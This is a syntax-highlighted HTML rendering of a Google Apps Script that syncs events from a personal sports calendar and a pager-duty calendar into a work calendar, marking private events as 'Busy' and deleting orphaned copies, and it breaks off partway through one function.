&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;TARGET_EMAIL&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;romain.pellerin@workemail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;SYNC_DAYS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Number of days to look ahead&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;TAG_PREFIX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Source iCalUID:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Unique identifier tag in description&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;START_HOUR&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;START_MINUTE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;END_HOUR&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;END_MINUTE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;CALENDARS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;some-id@group.calendar.google.com&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// sports&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;isPrivate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Will be renamed to &amp;#39;Busy&amp;#39; and set private&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CalendarApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;EventColor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MAUVE&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;some-other-id@import.calendar.google.com&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// pager duty&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;isPrivate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// Convert limit times to minutes from start of day&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;limitStartMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;START_HOUR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;START_MINUTE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;limitEndMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;END_HOUR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;END_MINUTE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// THE MAIN FUNCTION, to call periodically.&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;syncGoogleCalendars&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;userEmail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getActiveUser&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;getEmail&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userEmail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TARGET_EMAIL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Skipping: Current user (&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;userEmail&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;) is not the target user.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;futureDate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SYNC_DAYS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1000&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CalendarApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDefaultCalendar&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Creates a Map: { &amp;#39;source_uid_string&amp;#39; : CalendarEventObject }&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existingEventsMap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getExistingManagedEvents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;futureDate&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CALENDARS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;syncSourceCalendar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;existingEventsMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;futureDate&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Cleanup orphans: any event remaining in the map was NOT found in the source calendars, so it should be deleted.&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;cleanupOrphanedEvents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;existingEventsMap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt;* Fetches events from the target calendar and maps them by their Source UID.&lt;/span&gt;
&lt;span class="cm"&gt;* Only includes events created by this script (checked via regex).&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getExistingManagedEvents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;calendar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;calendar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEvents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eventMap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;uidRegex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RegExp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TAG_PREFIX&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;\\s*([\\w.@-]+)`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDescription&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uidRegex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;eventMap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Map Key: the source event UID&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eventMap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;syncSourceCalendar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existingEventsMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CalendarApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getCalendarById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
